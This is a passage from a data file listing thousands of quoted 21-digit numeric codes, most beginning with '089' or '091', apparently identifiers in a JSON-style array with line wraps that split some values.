 "089138044000111000000", "089146024000106000000", "089149025000114000000", "089186037000106000000", "089149004000116000000", "089138008000113000000", "089171037000113000000", "089160010000106000000", "089177037000117000000", "089186009000114000000", "089177034000114000000", "089129024000113000000", "089183037000105000000", "089138013000116000000", "089120033000113000000", "089181024000000000000", "089146046000113000000", "089138024000117000000", "089181034000111000000", "089138005000117000000", "089181028000117000M
000", "089152024000000054000", "089177025000111000000", "089120015000000000000", "089120023000116000000", "089149018000116000000", "089146033000105000000", "089186049000105000000", "089177013000000000000", "089146024000000000000", "089129048000116000000", "089183044000000000000", "089177041098109000000", "089177018000106000000", "089177031000114000000", "089138031000111000000", "089183035103117069000", "089160003000113000000", "089146025000105000000", "089129013000105000000", "089177013000116000000", "0891380240001M
16000000", "089177037000114000000", "089138004000114000000", "089149006000106000000", "089171034000105000000", "089183025000000000000", "089183028000105000000", "089146033000114000000", "089186049000106000000", "089171005000106000000", "089146037000113000000", "089183037000116000000", "089146031000111000000", "089149044000117000000", "089171032000116000000", "089181027000116000000", "089149049000114000000", "089171044000117000000", "089129024099000000000", "089149013000106000000", "089181009000106000000", "08914602M
3000116000000", "089129037000111000000", "089138008000114000000", "089176036000000000000", "089149036000106000000", "089181008000105000000", "089138033000117000000", "089146031000106000000", "089176005000117000000", "089160015000111000000", "089138035000111000000", "089129032000116000000", "089160005000000000000", "089149036000113000000", "089176024000106000000", "089186013000113000000", "089138023000117000000", "089149018000114000000", "089181044000000000000", "089181028000000000000", "089183006000117000000", "089M
186035000113000000", "089177018000116000000", "089181037000105000000", "089138046000000000000", "089171003000111000000", "089171018000117000000", "089138031103107063000", "089183046000105000000", "089160023000113000000", "089120036000113000000", "089129027000111000000", "089146013000116000000", "089149003000105000000", "089171013000117000000", "089120028000105000000", "089149025000113000000", "089176036000116000000", "089149009000116000000", "089138015000000000000", "089138015000113000000", "089120018000113000000",M
 "089171035000116000000", "089177028000117000000", "089160024000116000000", "089160049000113000000", "089160013000114000000", "089177036000113000000", "089176032000000000000", "089129031000117000000", "089120049097111063000", "089146044000113000000", "089146005000113000000", "089171006000105000000", "089183046000111000000", "089129013000116000000", "089186025000000000000", "089183003000111000000", "089146027000000000000", "089186006000105000000", "089146028000105000000", "089181013000000000000", "089160035000114000M
000", "089129034000000000000", "089171018000000000000", "089160044000113000000", "089120032000105000000", "089181032000114000000", "089186034000105000000", "089138018000114000000", "089138006000000000000", "089149013000117000000", "089120037000116000000", "089120034000105000000", "089177015000116000000", "089149024000000000000", "089160018000105000000", "089129013000111000000", "089171044000113000000", "089186024000105000000", "089138046000113000000", "089181041000113000000", "089146028000116000000", "0891860440001M
13000000", "089181046000117000000", "089177023000111000000", "089186049000113000000", "089149024098109069000", "089177032000114000000", "089129024000111000000", "089176024000117000000", "089129025000117000000", "089181015000116000000", "089120018000000000000", "089176004000116000000", "089149023000111000000", "089149037000116000000", "089129023000000000000", "089146035000114000000", "089183034000000000000", "089176049000000000000", "089186036000113000000", "089177044000111000000", "089160025000114000000", "08917100M
5000111000000", "089129013000000000000", "089149003000111000000", "089181032000117000000", "089138031000113000000", "089186024000113000000", "089183023000111000000", "089176004000000000000", "089160049000114000000", "089176031000111000000", "089176048000111000000", "089176032000114000000", "089160034000114000000", "089149015000117000000", "089186024000000000000", "089160049000000000000", "089186013099110079000", "089149006000116000000", "089186036000116000000", "089129046000114000000", "089120028000000000000", "089M
171023000114000000", "089146034000000000000", "089177018000111000000", "089176041000114000000", "089120036000000057000", "089177034000117000000", "089171018000114000000", "089129013104106053000", "089186013000111000000", "089120027000113000000", "089149041000113000000", "089183046000114000000", "089129027000114000000", "089138018000116000000", "089176046000114000000", "089176048100105075000", "089176015000117000000", "089160046000111000000", "089186031000117000000", "089138034000111000000", "089177049000117000000",M
 "089120023000117000000", "089120015000114000000", "089129028000111000000", "089160037000117000000", "089181004000117000000", "089146032000000000000", "089129024000000000000", "089149031000114000000", "089120006000114000000", "089186049102105077000", "089186032000117000000", "089120025000111000000", "089138049000113000000", "089160041000000000000", "089181041000000000000", "089186048000114000000", "089171037000114000000", "089186027000116000000", "089176048000000000000", "089138034000000000000", "089129041000117000M
000", "089186027000114000000", "089120048000111000000", "089177006099115069000", "089181018000117000000", "089176034000117000000", "089138024101113079000", "089176003000116000000", "089186031000111000000", "089177034099000075000", "089177027000111000000", "089181048000111000000", "089120041000117000000", "089171025000114000000", "089152024000000057000", "089160028000000000000", "089160003000000000000", "089160006000116000000", "089186025097117051000", "089146013000000000000", "089129027000117000000", "0891810310001M
17000000", "089146004000114000000", "089171034000111000000", "089129023000114000000", "089186034000116000000", "089146037000116000000", "089146018000111000000", "089181027000114000000", "089176027000116000000", "089176034000111000000", "089181048000117000000", "089186018000111000000", "089171018102117078000", "089129049000000000000", "089146044000114000000", "089176041000117000000", "089160004000111000000", "089171018104115069000", "089149034000000000000", "089138034095105081000", "089146049000114000000", "08913803M
2000000000000", "089177048000117000000", "089176037000116000000", "089171023000116000000", "089177049000111000000", "089181049000000000000", "089171023101106058000", "089176049000114000000", "089176004103106053000", "089157023000000057000", "089146041000116000000", "089177048000000000000", "089181034000000000000", "089171023000117000000", "089149027000117000000", "089160006000000000000", "089176023000117000000", "089171041000117000000", "089120003000116000000", "089181031000116000000", "089181044000116000000", "089M
138037000111000000", "089129034000111000000", "089186003000117000000", "089120037098000083000", "089160037000111000000", "089171027000116000000", "089186003000111000000", "089181018000114000000", "089129006000116000000", "089146031000117000000", "089181034095000061000", "089120023000000000000", "089138028000114000000", "089176018000000000000", "089160013000111000000", "089148044000000057000", "089176018000111000000", "089149034097112053000", "089176037000117000000", "089186013000117000000", "089149032000117000000",M
 "089129037000116000000", "089160041103000069000", "089186032102116053000", "089138003000114000000", "089186048000111000000", "089181034000105084000", "089146034000111000000", "089138024104116063000", "089176018000114000000", "089120025000114000000", "089181025000111000000", "089129041097113079000", "089120028000114000000", "089129028000117000000", "089149004000114000000", "089149018095000056000", "089138023000111000000", "089171003000000000000", "089160037100113064000", "089160027000000000000", "089120006000111000M
000", "089146013103107063000", "089129034000117000000", "089171003000117000000", "089138041000000000000", "089157034000000054000", "089176003000000000000", "089181037000000000000", "089146031100115061000", "089129027098109052000", "089149006000111000000", "089120018095000077000", "089138006098113000000", "089177032000117000000", "089146018000000000000", "089171037000116000000", "089160013000116000000", "089138044000000000000", "089177025000000081000", "089181048101110072000", "089120027000111000000", "0891460480001M
16000000", "089138023000000000000", "089129037101111066000", "089129027000116000000", "089181034000116000000", "089160041000116000000", "089146048000000000000", "089171023000000000000", "089176031100110074000", "089146003000000000000", "089149031000000000000", "089146018000105065000", "089181044098000055000", "089146025000000000000", "089177004000000000000", "089160013000000000000", "089138031000000000000", "089149034100113081000", "089171024000116000000", "089177004000111000000", "089171023095000081000", "08917103M
4101116074000", "089146024000117000000", "089181003000000000000", "089177025000000000000", "089177044000000000000", "089160025102112071000", "089138041000111000000", "089177024000000000000", "089171031000111000000", "089177031000111000000", "089149003000116000000", "089138048000111000000", "089160034000111000000", "089138031000116000000", "089177031099111051000", "089138044000117000000", "089177031102114059000", "089149041000000000000", "089129006100000052000", "089138037000117000000", "089149027099110062000", "089M
146003000116000000", "089138006000111000000", "089160025000000000000", "089149024104107086000", "089149044000000057000", "089157023000000054000", "089160031000111000000", "089129006000117000000", "089146048098105073000", "089181018000116000000", "089177031000116000000", "089146048000111000000", "089138031000117000000", "089181048000116000000", "089181004000116000000", "089177027000116000000", "089177027000000000000", "089149018000117000000", "089148024000000082000", "089181003000117000000", "089171018000113000000",M
 "089157013000000082000", "089177024000111000000", "089129013000117000000", "089149003097117073000", "089146048000117000000", "089181024099106077000", "089177013000111000000", "089149027000000000000", "089146048097110080000", "089160023000116000000", "089157013000000082000", "089177018000117000000", "089160048000111000000", "089146024095000077000", "089160024095116086000", "089146013101115062000", "089146004000111000000", "089138048000000000000", "089181013000116000000", "089171041097115081000", "089149004101117000M
000", "089146003000117000000", "089160034000117000000", "089181018000111000000", "089171031000000000000", "089171034102111000000", "089149013000116000000", "089181024000116000000", "089129023000116000000", "089181041101111079000", "089149018000111000000", "089129041000000000000", "089171037000117000000", "089171018096114083000", "089181027000117000000", "089146013000117000000", "089149044000111000000", "089149003097117077000", "089146034000117000000", "089129006000109070000", "089157027000000082000", "0891460131021M
06084000", "089171034000117000000", "089160003000117000000", "089160034096108056000", "089129018000116000000", "089181041000117000000", "089129044000000000000", "089129025000116000000", "089146048096105074000", "089129006000111000000", "089181041000111000000", "089160024000000000000", "089171025000111000000", "089177031095112052000", "089149037000000000000", "089129004000116000000", "089177024000116000000", "089129044000116000000", "089181048096111062000", "089171018099109062000", "089181044000111000000", "08914604M
8000000061000", "089146018104108084000", "089177041000111000000", "089160044000116000000", "089129006000000000000", "089181025000000000000", "089160041000115061000", "089146037000117000000", "089129027096117073000", "089146034104111051000", "089129003000117000000", "089177037000111000000", "089181037000115055000", "089146027000116000000", "089148031000000057000", "089171048000116000000", "089160023000000000000", "089177025000117000000", "089181018000000000000", "089149004000000000000", "089149048000111000000", "089M
146004000117000000", "089160044000000000000", "089160024000108077000", "089160031000105083000", "089171018104116081000", "089149037000117000000", "089129027104108081000", "089149027000111000000", "089181006000000000000", "089171041000117065000", "089171013000000000000", "089146004000110067000", "089129034096113077000", "089129004000000075000", "089129004000117000000", "089152018000000082000", "089129034104108083000", "089157003000000057000", "089171034095110069000", "089160006000117000000", "089171004000117000000",M
 "089171003096112081000", "089146048000106087000", "089157027000000057000", "089181018095000079000", "089177048000111000000", "089146048000000058000", "089177013104115066000", "089129024000117000000", "089171003096114066000", "089146013096113070000", "089181006000117000000", "089181013104116081000", "089160044000111000000", "089177034000111000000", "089149031000111000000", "089177025000107059000", "089146025000111000000", "089177044104112058000", "089146003000111000000", "089160004000000000000", "089146041000117000M
000", "089129048000111000000", "089181031000000000000", "089171025000117000000", "089152025000000054000", "089129041000111000000", "089129034000000057000", "089181037104108070000", "089171034000000000000", "089181013000111000000", "089177031000117000000", "089146025000113059000", "089171013000110000000", "089146048095115070000", "089177044000105073000", "089129023000117000000", "089177044000117000000", "089129034000112055000", "089146048000114086000", "089177048000000061000", "089149041000117000000", "0891810480001M
15064000", "089177006000117000000", "089181006000117000000", "089149018000000000000", "089149044000000000000", "089181023000000000000", "089149034000116061000", "089181048000000000000", "089146025000107073000", "089152003000000057000", "089129034000114056000", "089129027000000000000", "089177031000000000000", "089177003000000000000", "089181004000000000000", "089181018000111086000", "089171003000000052000", "089177034000000000000", "089181044000110081000", "089171025000000000000", "089177004000109072000", "08918100M
6000000087000", "089177004000108056000", "089177041000000000000", "089181006000106083000", "089181034000112000000", "089129034000117072000", "089177018000000000000", "089177003000117083000", "089177006000113058000", "089146037000000000000", "089129023000106000000", "089146031000000000000", "089177003000114055000", "089146037000109085000", "089171048000000000000", "089146041000000000000", "089171023000112064000", "089146018000106084000", "089129041000114051000", "089146025000106063000", "089177031000117085000", "089M
171034000000072000", "089171003000116059000", "089129006000110053000", "089146034000115065000", "089129004000000000000", "089129018000000000000", "089146037000115073000", "089171027000000000000", "089129018000114058000", "089171041000000000000", "089171003000108085000", "089129027000114078000", "089171031000115062000", "089146037000108087000", "089129034000116084000", "089171034000116055000", "089129037000000000000", "089171044000000000000", "089171044000107086000", "089171027000107086000", "089129034000105073000",M
 "089129037000000080000", "089129041000110075000", "089171034000109087000", "089146025000107053000", "089146044000000000000", "089171018000116063000", "089171037000000000000", "089146031000112065000", "089171025000117071000", "089146025000112087000", "089146031000111063000", "089146025000111073000", "089171004000000000000", "089171037000110056000", "089146034000000079000", "089171004000110079000", "089146041000114071000", "089171034000116056000", "089146041000105072000", "089171031000110071000", "089171031000108072M
000", "089146004000000000000", "089146037000000082000", "089171048000105064000", "089171003000111077000", "089146006000000000000", "089171018000117085000", "089171018000111079000", "089146006000109067000", "089171034000112063000", "089152037000000054000", "089146025000109055000", "089146034000107070000", "089146018000000054000", "089146041000117085000", "089146037000113075000", "089146027000113063000", "089146027000109064000", "089146037000107078000", "089146048000105077000", "089146004000117066000", "0891460030001M
08058000", "089146041000113000000", "089146041000113059000", "089146034000117061000", "089146041000113066000", "089146034000116063000", "089146048000114052000", "089146003000113075000", "089146041000111074000", "089146048000107069000", "089146044000111087000", "089146048000116087000", "089146041000000069000", "089146004000107080000", "089146044000116056000", "089146034000114086000", "089146037000000056000", "089146034000114084000", "089146048000114075000", "089146006000117084000", "089146025000107080000", "08914600M
4000114074000", "089146004000109073000", "089146027000116055000", "089146048000107067000", "089146004000116055000", "089146006000116077000", "089146037000000054000", "089146006000109072000", "089146006000114064000", "089146048000117071000", "089146006000000084000", "089146031000116052000", "089146006000000053000", "089146004000117079000", "089146031000114075000", "089146025000000058000", "089146044000107074000", "089146044000117073000", "089146044000000061000", "089152018000000082000", "091164011100107085000", "091M
124028095110078000", "091132017099109075000", "091140041099105075000", "091121043000113073000", "091142045100109071094", "091175015095114064000", "091121007098117073000", "091140024100117072000", "091124015102111078000", "091184009103106066000", "091166043098110083000", "091140039098112058000", "091142045095105086000", "091121007099112086000", "091121034000115061000", "091166032098116087000", "091121040000000054000", "091124023000115071000", "091121018095111075000", "091165011000110061000", "091175029098116000000",M
 "091175047097115071000", "091140020104112081094", "091158028096106064093", "091141024096000064000", "091158032097110083000", "091140028000106083000", "091158025096111056000", "091175023000000082000", "091124034095113063000", "091164004103110075000", "091158047095114068000", "091140009102107059000", "091121032096114064094", "091152020000000054000", "091154050098109067000", "091141017098105066000", "091154009101111078000", "091154001104114070093", "091175022100106085000", "091154044099111000000", "091140001099106078M
000", "091165050000111063000", "091124036104115065000", "091142048101107072093", "091164040099117067000", "091121045104115069093", "091166040101114085000", "091184012104116076000", "091164011100110071000", "091154036095110051000", "091158013103113063000", "091152038000000057000", "091142015097112071000", "091175025104111085000", "091158004099113075000", "091165027104105087000", "091184018101114071000", "091158037104116066000", "091121012104113072000", "091148048000000057000", "091175030103111072093", "0911210161001M
15071094", "091142031096117077000", "091142045096115061000", "091175050098109071000", "091124049103108061000", "091132017096114065000", "091152050000000082000", "091166042100117083000", "091154021000000054000", "091184009099111087093", "091154029100108000000", "091124002095110068000", "091184004104111071000", "091184007096110080000", "091166026100114078000", "091164004098111079000", "091166049099000083000", "091140039095112064000", "091165005102109075000", "091142047098114065000", "091175020103116068000", "09118405M
0101106056000", "091140045095106081000", "091124028095112081000", "091165046099115065000", "091124002103109063000", "091175023104111000000", "091152026000000054000", "091158012103116072000", "091148032000000057000", "091142026099115059093", "091184001000111056000", "091141020102110087000", "091148040000000054000", "091140041095112065000", "091165006101105069000", "091166036097000059000", "091165015100112075000", "091175006099108000093", "091132035102108053000", "091140043000105077094", "091166047099111051000", "091M
141031102115073093", "091121047104111081000", "091141037098000085000", "091121047102112052000", "091165047000107066000", "091165007097105062093", "091184040097000000000", "091140031104107052093", "091165043095112058000", "091141010000109000000", "091184010096107077000", "091175015099106051000", "091121027101115083000", "091184006101109087094", "091142030000000086000", "091158033096113052000", "091141026095117079000", "091148049000000054000", "091140017097111071000", "091158027096109079094", "091141017101114078000",M
 "091157008000000082000", "091124004099109059000", "091184018097112067000", "091184001103113086000", "091164036102109075000", "091124016097107078000", "091152014000000054000", "091164040101115081000", "091142049095116066000", "091132016103000062000", "091166040097105058000", "091124007102109000000", "091164015104117051094", "091154021100110076000", "091166013097106068000", "091124002101105083093", "091166037097111066000", "091141038095111064000", "091124023000107083094", "091142050000106070000", "091158033102115071M
093", "091154014095110078000", "091124031097113052093", "091124034099108052000", "091141036103110067000", "091154038095110053093", "091184009097114074000", "091142032097107070093", "091184048100110084000", "091165015100115086000", "091132032101117053000", "091121032100115084093", "091158005100114084093", "091124015099115071000", "091184011101105083000", "091141042099109077000", "091184034102105081000", "091164045101106066000", "091140002101106074000", "091175012101107065000", "091140047099113079000", "0911400450981M
08073000", "091124039096105077000", "091121037104110051093", "091142007099110063000", "091157017000000054000", "091124007100115064000", "091164043095105058000", "091142010098112084000", "091132032103115051000", "091124006099114087000", "091124043103107065000", "091132001095113052000", "091166008101114081000", "091164026100000087000", "091132033095117053000", "091158028099107074000", "091184006101116063000", "091121028098111061000", "091154048095107085000", "091165035000114072000", "091184020096108073000", "09114003M
6104111070000", "091140037000112079000", "091157046000000057000", "091142012097106077000", "091175003104110061000", "091140046104117062000", "091175016098107058000", "091124047095109058000", "091164036095105059093", "091121038099107051093", "091154033096107059000", "091148025000000057000", "091175042102107071000", "091142001097109069000", "091165007103105081094", "091140044000105067000", "091165015103116076000", "091124006096107087000", "091140020102000078000", "091141029096116000093", "091140017098107072000", "091M
142025098113070000", "091157005000000082000", "091158014103116085000", "091142011095111062000", "091154049095109086000", "091166025103105084093", "091132038103109079094", "091164020101107062000", "091124036000107061000", "091158024000000082000", "091175037098000073000", "091152018000000054000", "091166048000109087094", "091154036099111077000", "091142018104114055000", "091140009000000082000", "091124025095114078000", "091121015102109067000", "091132045095108075000", "091154021104106076000", "091166026000000066094",M
 "091140037096106073094", "091142015104105051000", "091141042101106064094", "091166035098115052000", "091124027097000075000", "091124039099106060094", "091140029103107000000", "091154014102111077000", "091148005000000054000", "091148020000000054000", "091148035000000057000", "091140045096116052000", "091175016101111078000", "091154010099109080000", "091184005102000061093", "091140011103107056000", "091166042102116070000", "091140010096109080000", "091158042103114086000", "091154040104115065000", "091124032102108065M
000", "091164001103111000000", "091165038000000082000", "091175031103112086000", "091166021099117085094", "091165046000107079000", "091142015103111052000", "091152012000000057000", "091142015095116080094", "091140009099111052093", "091166050102112070000", "091158007096112058000", "091158011104105073000", "091165023098114070000", "091154004096106060000", "091157017000000057000", "091175023098105086000", "091121012098106053000", "091121048095110063000", "091132024098111056000", "091121049104107071000", "0911410170971M
13070000", "091175001000108073000", "091165006096108051000", "091166016102105081000", "091121039095116061000", "091142018102107078094", "091184025097116075000", "091124049099117000000", "091154032103000000000", "091175021095000058094", "091124001000116071000", "091142049101115067000", "091164001099110055000", "091141012097116068094", "091142034097115086000", "091154047000116087000", "091121005102112069000", "091132043097115084000", "091132032101110000000", "091165026000115000094", "091132033099109061000", "09116604M
3104108056000", "091124041103113067000", "091132045097108083000", "091132046096116076000", "091152041000000082000", "091154027000108073000", "091121008099112052000", "091140041102114080000", "091175047103110051094", "091166029097113000000", "091157039000000082000", "091184017098106084000", "091184013104111064000", "091148026000000054000", "091154044096111078000", "091164044104000087000", "091158027098107056094", "091157004000000057000", "091124007095117086000", "091165016096109062000", "091158044099110078094", "091M
141041095108056000", "091166020104109072000", "091158002098106063000", "091142016101114087000", "091132024097108071000", "091121006000116052000", "091164038000113077000", "091132036101000058000", "091166028103109086000", "091158028101116052000", "091124039097112079000", "091140002000108085000", "091142010101117087000", "091121014104116072000", "091157024000000057000", "091165025102110085094", "091164010098117061000", "091124040103112086000", "091158050104106081000", "091158028098116081094", "091124032000109072000",M
 "091121044104114087000", "091175029101117000000", "091142042095111000000", "091164039000106080000", "091154029101110000000", "091121034104107000000", "091165020098109083000", "091141016096117061000", "091175029097110000094", "091148048000000054000", "091121033101000063000", "091158015098106060000", "091158008098117068000", "091142023103107073000", "091152008000000082000", "091154044103107087000", "091124029099110000000", "091132016096107085094", "091165040097107084000", "091164003102000086000", "091141044102116056M
094", "091165006098115064000", "091142037000116055000", "091184025095117085000", "091157042000000057000", "091175010104108066000", "091121041101111083094", "091132023099106063000", "091165030104113063000", "091184022102113061000", "091121034096111078000", "091166042099113053000", "091164044101116073000", "091165039000109073000", "091121016103000059000", "091184049099105080000", "091140017096105079000", "091121032102108080000", "091124047104107072000", "091121050099108073000", "091124001103113073000", "0911210280981M
15080000", "091166030101000056000", "091142040102106074000", "091124021095113083000", "091142021101111086000", "091158049102114075000", "091166050099114053000", "091132033104109071000", "091142043097110066000", "091166042095112085000", "091158011098110051000", "091142024097000064000", "091142031096107061000", "091184009104114078000", "091140034104114063000", "091148016000000057000", "091140030099106051000", "091124031104111000000", "091154039104114000094", "091121015104108052000", "091157038000000082000", "09116603M
5000110066000", "091166005000113084000", "091154040104106073000", "091124027000000057000", "091166023102000058000", "091158034000114071000", "091124048095107078000", "091148030000000082000", "091166025103105051000", "091165005102111060000", "091121045101105081000", "091124007000106076000", "091158018096108077000", "091164005098109062000", "091166039097000078000", "091132010101109070000", "091141015000117078000", "091142017101117056094", "091184042102112056000", "091165002096106072000", "091121037097107087094", "091M
164049000112081000", "091165029097116000000", "091154027102000055000", "091132035102110087000", "091142018095110079000", "091154007098113084000", "091142038104113070000", "091184012097107079000", "091164033103113066000", "091166046098106075000", "091184011095108067000", "091164012095116070000", "091142030096107078000", "091142047099113071000", "091154011101000052094", "091140014096106075000", "091124030099108067000", "091142009095117062000", "091142007099107085000", "091154006096115061000", "091164038000106084000",M
 "091164025104107064000", "091132045098115056000", "091154016097105075000", "091158049104117083000", "091165017098115051000", "091165031095114053000", "091166011101105073000", "091184008095116079000", "091164013103110083000", "091132020098105072000", "091142048000111075000", "091148025000000054000", "091121050095115087000", "091154035095109056000", "091175006095114065000", "091132028102114081000", "091175004104109087000", "091165015095110065000", "091184048095116071000", "091157006000000054000", "091141021095116062M
000", "091140045104108072000", "091124031000109055000", "091124043000105085000", "091142005102112063000", "091152046000000082000", "091121030000106052000", "091166009097112078000", "091142025098110061000", "091140003098110061094", "091121010000107059000", "091141011102111067000", "091184034102117086000", "091158031000105075000", "091164021102111084000", "091132045102116072000", "091121027104114065000", "091184031000111071000", "091165032000113052000", "091164021101109072000", "091184043098113084094", "0911640240971M
12071000", "091121035101115066000", "091164011103115053000", "091142016098107063000", "091175014099109058000", "091184044102111056000", "091184017096116086000", "091124031097112062000", "091158032097109077000", "091142049000114060000", "091132026000000057000", "091165032099117071000", "091132039000116067000", "091154034000114086000", "091121008099115066000", "091184045101114072000", "091158030000000057000", "091121026101106087000", "091184023000117081000", "091158005103106061000", "091132025104109000000", "09112404M
8102111072000", "091184045000110078000", "091141016101106085000", "091124010098114077094", "091154038098117055000", "091157031000000054000", "091175003102110087000", "091165015098106000000", "091165006099109052000", "091158011095116085000", "091165006096117083000", "091165013102114078000", "091166014103113085000", "091166032104116075000", "091142011101112067000", "091175032099000063000", "091165013103116086000", "091164048101115051094", "091132032098116081000", "091166001102109064000", "091175024101107072000", "091M
154005096107052000", "091175049000108053000", "091166035099000077000", "091165006099111081094", "091184014099113067000", "091141012099109062094", "091158016097109087000", "091141004097111061000", "091152006000000082000", "091154045099107055094", "091141005104000080000", "091166016099109079094", "091121037096117065000", "091166031097000063000", "091158050104117083000", "091121036098111052000", "091166036101115061000", "091166044096111079094", "091141020095114070000", "091157012000000082000", "091132009095000071000",M
 "091165003104106077000", "091158039095108075000", "091175027096000080000", "091166006104110056000", "091124003098109083094", "091132032095114072000", "091158045095107084000", "091165045102114072000", "091166022095108063000", "091140003099115000000", "091158006104113051000", "091157002000000082000", "091166012101000064000", "091184016100000069093", "091184021102108056000", "091175033102116075000", "091175030103111084000", "091142013097110055000", "091154031101112077000", "091157050000000082000", "091140002095113085M
000", "091164004098111065000", "091154037099117065000", "091158020096116000000", "091165037098117063000", "091184040101109085000", "091141024101109083000", "091166009096117062000", "091121039095111086000", "091175014103105056000", "091154001101108075000", "091148027000000054000", "091158002098105053000", "091175014099114076000", "091124036000109056094", "091165014104107055000", "091132004103105064000", "091124045103110087000", "091124033000108062000", "091132004098113087000", "091132032102107064000", "0911580240971M
07063000", "091132018000115080000", "091158003102105064000", "091140035104117066094", "091184005102116070000", "091175047098116061094", "091124033098114051094", "091175018095111072094", "091121038102113084000", "091132027098108083000", "091142025098111075000", "091164029000115000000", "091184001095113084094", "091158022096113078000", "091140045103114060000", "091175006104114067000", "091158038095112083000", "091141004095108085000", "091124001104111076000", "091124035101105087000", "091158025104106085000", "09115402M
7102112070000", "091166039096105067000", "091165048104109051000", "091140047097105000000", "091175038098111072000", "091166009095108071000", "091164030095115087000", "091154021102109070000", "091124024103108083000", "091142022099109072000", "091165040099116076000", "091132040000117070000", "091142001095115052000", "091164034000109086000", "091158012096115077000", "091148009000000082000", "091164006096110075000", "091158023095115066000", "091164034099108061000", "091175002096115087000", "091184045096105067000", "091M
154018099109074000", "091184026098116085000", "091154026000113055000", "091140029096108000000", "091132030098116053000", "091148034000000057000", "091175033099112052000", "091148023000000057000", "091175010101115077000", "091175037103107085000", "091175024101107063000", "091164040101106075000", "091132043102114067000", "091132049104111076000", "091140048101111000000", "091164015095105062000", "091132002104107067000", "091132042098105056000", "091165023098116063000", "091175003102000077000", "091140001101117053000",M
 "091132040099105070000", "091148039000000054000", "091121044102115070000", "091166013099107077000", "091121048099115059000", "091124050000117067000", "091141029102105000000", "091121034096110066000", "091164029101115000000", "091121004102116065000", "091140009000117077000", "091184039096114061000", "091152028000000054000", "091132042102110065000", "091165049099107087000", "091166034103107087000", "091141022000113059000", "091141041101109085000", "091166042095116074000", "091132043102106053000", "091140003101115051M
000", "091165021000000054000", "091154039096107000000", "091142043000116063000", "091142030098110080000", "091184047096116077000", "091175031095113051000", "091140029099107000000", "091140033000112052000", "091175039000000080000", "091154047101115065000", "091164035102106053000", "091184038101111000000", "091124041098000052000", "091124047102117079000", "091164010102117062000", "091184043102000059000", "091165028098106053000", "091124022103109052000", "091152009000000054000", "091166043099112075000", "0911520350000M
00054000", "091164044101117077000", "091166020095108086000", "091132034101108051000", "091121022000116071000", "091165050096109087000", "091141040102111066000", "091141042098115077000", "091121001099117072000", "091140026101000058000", "091154024000112067000", "091154014099110067000", "091154034102114060000", "091165024096114086000", "091132015099113056000", "091132025098109079000", "091121037101109087000", "091164020101116051000", "091124021095106065000", "091164010102110055000", "091121009099111051000", "09115404M
1000116079000", "091140049099000074000", "091124006098114053000", "091158029098112000000", "091141008098113071000", "091154037102108059000", "091124049101106071000", "091184026102107072000", "091148008000000057000", "091158049000108059000", "091142047000111077000", "091124013000000057000", "091165046102105071000", "091132044095105083000", "091184042000106066000", "091152035000000082000", "091152047000000082000", "091132047099111053000", "091164024096115055000", "091184048096106053000", "091121012098109061000", "091M
165002098000052000", "091157002000000057000", "091124041098000083000", "091142014099117061000", "091132009102112077000", "091121020096115067000", "091152032000000082000", "091141001099107087000", "091140027000117083000", "091184038096106066000", "091142021098107053000", "091166033102114077000", "091154048095000071000", "091158003099115000000", "091132018096117072000", "091121049098107087000", "091154027095109056000", "091184005099110051000", "091142010098107067000", "091154032095000053000", "091121033000115063000",M
 "091166020000107075000", "091132009095115062000", "091124006098000056000", "091165020000106076000", "091175012102113077000", "091121013102115083000", "091175006000116083000", "091124031102109053000", "091175030000000083000", "091164026096108059000", "091165012096113052000", "091124018000114000000", "091164004099117056000", "091165040098115080000", "091140018102109000000", "091154024095110080000", "091165020095109052000", "091132038095109052000", "091166022096108085000", "091142005098114078000", "091140023102105067M
000", "091164015095105072000", "091184003102105078000", "091165035102000058000", "091124032099113063000", "091121023000107061000", "091121026099107085000", "091142046099114062000", "091164020000112055000", "091140009096107062000", "091166030102115061000", "091175002098117070000", "091164039000108071000", "091165024098000078000", "091132030096000085000", "091164022095111074000", "091132008102116078000", "091141009095113080000", "091141049102110062000", "091142009102111086000", "091166046098109074000", "0911410380961M
15071000", "091165047095105077000", "091132009098108065000", "091164003099109059000", "091124028099000085000", "091175025098113085000", "091142038095112063000", "091158027098113056000", "091141032099112061000", "091132001095107083000", "091166024095111075000", "091165022096116075000", "091140005096107078000", "091184033000107074000", "091124001099110067000", "091140013102117083000", "091184008095113071000", "091158035098107055000", "091184013102113053000", "091141046099115058000", "091184025102114053000", "09112103M
5096000053000", "091141035099114055000", "091166033098116053000", "091184020095109055000", "091140013000110086000", "091142037096110086000", "091166038096111072000", "091164003098113072000", "091132029000106000000", "091141015099109071000", "091142033000107061000", "091141020098108074000", "091158023095116074000", "091158010098110077000", "091184014099107083000", "091164036000111083000", "091154013095107065000", "091158040099108080000", "091132029000109000000", "091121042102115070000", "091154049102109056000", "091M
184030102116078000", "091184002095117060000", "091164037102105059000", "091158013000109058000", "091140039095106060000", "091164039099110080000", "091165012000106052000", "091166032098000087000", "091184032102107087000", "091165010000107061000", "091164006098113058000", "091142031098115053000", "091154038099000086000", "091124018000113067000", "091121014095109083000", "091132029098106000000", "091140035099113072000", "091121023000107071000", "091121012102115074000", "091132003098117051000", "091164023099107070000",M
 "091158028000000000000", "091132008095000078000", "091184038099109056000", "091165008099113052000", "091154009102113077000", "091142024099106070000", "091184014000108061000", "091184006098106053000", "091132046000108000000", "091175044102110087000", "091141005098000086000", "091158028098113067000", "091184002000117052000", "091121044098111060000", "091132034098000067000", "091142009102105061000", "091175027102115061000", "091165005000110061000", "091142033000107070000", "091164031099114052000", "091132012098114080M
000", "091158028000106072000", "091166018000107052000", "091132002099116055000", "091142038099108052000", "091164044000110070000", "091166013000109071000", "091166031102107058000", "091158043099116056000", "091121038102110087000", "091154031095106085000", "091132001095109077000", "091184031095114067000", "091121039095114055000", "091184038098115071000", "091132027099116000000", "091121029095112000000", "091166037000112051000", "091166015099114070000", "091124047095107085000", "091121013095105066000", "0911410101021M
09086000", "091132043099115056000", "091154004102115059000", "091165031000116060000", "091132023102116076000", "091132006102110052000", "091158022000114052000", "091141046000109074000", "091158002102110072000", "091140030102110076000", "091184028095105087000", "091124048098108067000", "091184047095115078000", "091166033102113080000", "091175024095000085000", "091166032099106061000", "091164028095106077000", "091140043000113063000", "091165009102114071000", "091124034102109061000", "091140039095108061000", "09115804M
9000112075000", "091121006099110061000", "091166032000114086000", "091140048099111061000", "091140022099111078000", "091164041095115086000", "091140024095113059000", "091165014099116061000", "091164037098117083000", "091158027102109061000", "091140048000110086000", "091164049102000085000", "091140008099115075000", "091184046000114087000", "091124006099107063000", "091158029102105000000", "091124041102114076000", "091158046000105063000", "091154005099110086000", "091158047098110063000", "091184013098110052000", "091M
